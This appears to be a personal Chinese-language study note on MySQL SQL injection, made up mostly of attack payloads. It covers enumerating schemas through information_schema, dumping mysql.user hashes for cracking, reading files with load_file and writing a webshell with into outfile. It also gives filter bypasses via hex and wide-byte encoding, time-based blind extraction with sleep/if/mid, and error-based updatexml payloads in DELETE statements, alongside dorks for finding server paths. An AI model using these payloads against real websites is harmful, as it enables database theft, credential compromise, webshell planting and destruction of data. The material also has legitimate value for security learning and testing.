再次学习sql注入

爆所有数据库

select schema_name from information_schema.schemata

先爆出多少个字段 id = 1 order by ?;

mysql5.0及以上 都有一个information_scheam这个数据库

informatino_schema 数据库

information_scheama 下面的表(tables) 存放的一些字段 比较有用

所以从information_schema.tables where table_schema = '数据库名';

比如是从一个information_schema里面先查到一个数据库，那么我们就需要

select * from information_schema;

1.获取所有字段

2.获取数据库的列名

select table_schema from information_schema.tables;

获取指定数据库下面的表名;

例如，获取rest里面的所有表名

select table_name from information_schema.tables where table_schema = 'rest';

获取表名里面的字段

select column_name from information_schema.columns where table_name = 'tag';

此方法有可能会查到其他库中的表

思考:

既然information_schema.columns和information_schema.tables 里面既然可以是查到column，那么直接从information_schema.columns查找不就可以了，为什么非要用information_schema.tables里面查数据库 数据表？

答案:

仔细从information_schema.tables 和 information_schema.columns 分别查查 ，或者对应着看数据库就可以了

判断是从mysql还是从access

and (select count() from sysobjects)>0 mssql

and (select count() from msysobjects)>0 access

高权限操作

查看所有用户

select user() from "随便一个数据表"; 查看所有的账号，没有密码

select * from mysql.user; 里面的密码是用md5进行加密的，拿去cmd5解密就可以了

查看系统的版本

select version() from "随便一个数据表";

查看当前系统;

select @@version_compile_os from admin;

load_file 读取文件

select load_file('路径名');

windows要注意斜杠线 如果直接在桌面的bbs.txt文件右击属性的话 会显示 C:\Users\Desktop\bbb.txt,但是Mysql在进行查询的时候要转换成

select load_file('C:/Users/Desktop/bbb.txt') from admin;

into_outfile 写入文件跟读取文件一样，一般都是写入一句话木马

select '12' into outfile select '12' into outfile 'C:/Users/75143/Desktop/bbb111111.txt';;

注意在写入或者读取的时候，因为网站会自动进行解析，所以最好都是用十六进制转换,但是Mysql在进行十六进制转换的时候会自动加上引号

比如把select '12' into outfile 'C:/Users/Desktop/bbb111111.txt'转换成十六进制就是0x27433a2f55736572732f4465736b746f702f6262623131313131312e74787427

写入文件 在操作之前是要知道运行文件的路径

如何知道:

  1.报错显示

  2.谷歌语法 比如 inurl:edu.cn warnging

  3.读取搭建平台的配置文件 比如apache目录下的conf里面的vhosts.conf 就存放着这个网站的配置信息

  4.漏洞报错 比如搜索:phpcms 爆路径

  5.遗留文件 类似于phpinifo.php 和install的说明 inurl: phpinfo.php(超级有用啊)

  6.字典爆破

高权限体现

网站A无注入点，网站B有注入点，网站A和B是同一家企业，如果拿到了网站B的数据库，可能网站A的数据库也就拿下了，因为一个企业可能布置在同一个mysql下,还是database()来实现看到是哪个数据库

要注意指定相应的数据库

SQL防护函数

magic_quote_gpc = OFF

安全函数 addslashes

如果有这两个函数，经过这函数的单引号、双引号、反斜杠、NULL等都会被加上

思考如何绕过？

十六进制编码或者宽字节注入 记得加转换的数据要进行0x 哈哈哈

十六进制编码在哪使用？？

待解答.......

请求方式注入

get 注入 就是常见的在http里面通过get的方式进行传输

post 注入 一般都是登录的时候 进行post注入，这样的注入不易被人查觉到，能做到降低一定的危险

cookie 注入 用burp 里面改包试试，还没有遇见过cookie 注入

干扰:

单引号 ，可能有这个报错注入

原语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1

输入id =1' 之后产生

you have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

绕过:主要是LIMIT 0，1' ，这个单引号没有闭合，那么我们只需要闭合单引号 and '1' = '1 就会拼接成 select xxx from xxx where id ='x' limit and '1' = '1'

或者把最后的单引号给注释掉 最常见的是 --+ 和 # /*

最喜欢报错注入，不喜欢盲注

http头注入

有的数据库会以http头中的某个数据来进行查询(说着就有点蹩脚...)

比如根据UA头显示不同的数据，那么我们如果是通过burp来抓到包之后就可以跑了，具体的还是用工具跑一遍把，要不然就麻烦了

$SERVER 来实现看到某个ip的访问数据

显示当前的访问ip

https://www.cnblogs.com/rendd/p/6182918.html

参数类型注入:

因为mysql注入的时候也会区分是数值还是字符串注入，所以在注入的时候需要进行区分下

搜索型 是用的like 通配符 比如说是select * from user where username like '%1%'

这个时候闭合的就是单引号和%

闭合方式: select * from user where username = '%1%' union select 1,2,3'%%#'这样的方式进行闭合

% 和单引号闭合的类似，就在单引号后面加上一个%

数字 没有单引号进行干扰

字符 一般都是需要在查询的时候加上单引号 比如select * from user where username = 'hhh'; 和 select * from user where username = hhh ; 第二个select 会报错，Mysql把这个hhh当成了列名来进行执行的

参数加密注入

$id = base64_encode($_GET['x']); 在id = 1 这里进行接受的时候将1进行base64进行编码，防止别人看出来，然后下面再把1 进行base64_decode 进行解码

则查询的时候就变成了select * from user where id = 1;

盲注

一般没有加函数的注入都是属于盲注，特点:速度快，兼容性差

盲注:速度慢，兼容性好

时间盲注:

sleep函数()

比如select * from user where id = 1 and sleep(5);

如果id = 1存在，那么我们会看到时间延迟5秒中，具体的在Mysql中结果是 Empty set (5.00 sec)

如果id = 1000 不存在，那么select * from user where id = 1000 and sleep(5); 结果就是Empty set (0.00 sec)

if 函数 如果判断1=2为真执行3,假则执行5

select if (1=2,3,5);

mid 函数

mid(str,index,ken) //截取str 从index开始,截取len的长度

比如这样

select mid(username,2,3) from admin where id = 1;

ord 函数

ord() 函数返回字符串第一个字符的 ASCII 值

select ord('a');

if 和 sleep 连用

select * from admin where id = 1 and sleep(if((select database()='rest'),0,5));

先用sleep里面再加入select database() = 'rest'，这个就是比较好，如果database() = rest 就不延迟，否则就延迟5秒

database() = rest Empty set (0.00 sec)

database() != rest Empty set (5.00 sec)

length() 里面字段可以变成数字

比如select length(database());

结果:

+--------------------+

| length(database()) |

+--------------------+

| 4 |

+--------------------+

1 row in set (0.00 sec)

获取表名:

先获取表明长度

select sleep(if(length(table_name)=5,0,5)) from information_schema.tables where table_schema =database() limit 0,1;

进一步判断表名

通过字符

select sleep(if(mid(table_name,1,1)='a',0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;

通过ascii 利用的ascii

select sleep(if(ord(mid(table_name,1,1))=97,0,5)) from information_schema.tables where table_schema = 'test' limit 0,1;

limit 的使用

使用limit可以使找到的有几张数据表，limit 0 ,1 就是第从0 开始到1的一张数据表 limit 0,2就是2张

盲注最好是写个脚本进行跑，要不然很麻烦

这种操作是先判断length()中的table_name的值是否是5，理解table_name length if sleep的连用

爆列表和字段就写了

insert 4种注入 一般拿到源码或者知道sql语句的时候 才能手注试试

insert update delete limit 注入

利用updatexml()获取数据库

利用extravalue()获取数据

利用name_const()获取数据

利用子查询注入获取数据

用户注册(insert) 密码修改(update) 信息删除(delete)

delete from admin where id =1 or updatexml(1,concat(0x7e,(version())),0);

属于报错注入,并且这种注入都是真正删除数据的

ERROR 1105 (HY000): XPATH syntax error: '~5.5.40'

delete from admin where id =1 or updatexml(1,concat(0x3a,(select user())),1);

查询user

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

参考:https://xz.aliyun.com/t/3992

https://xz.aliyun.com/t/5505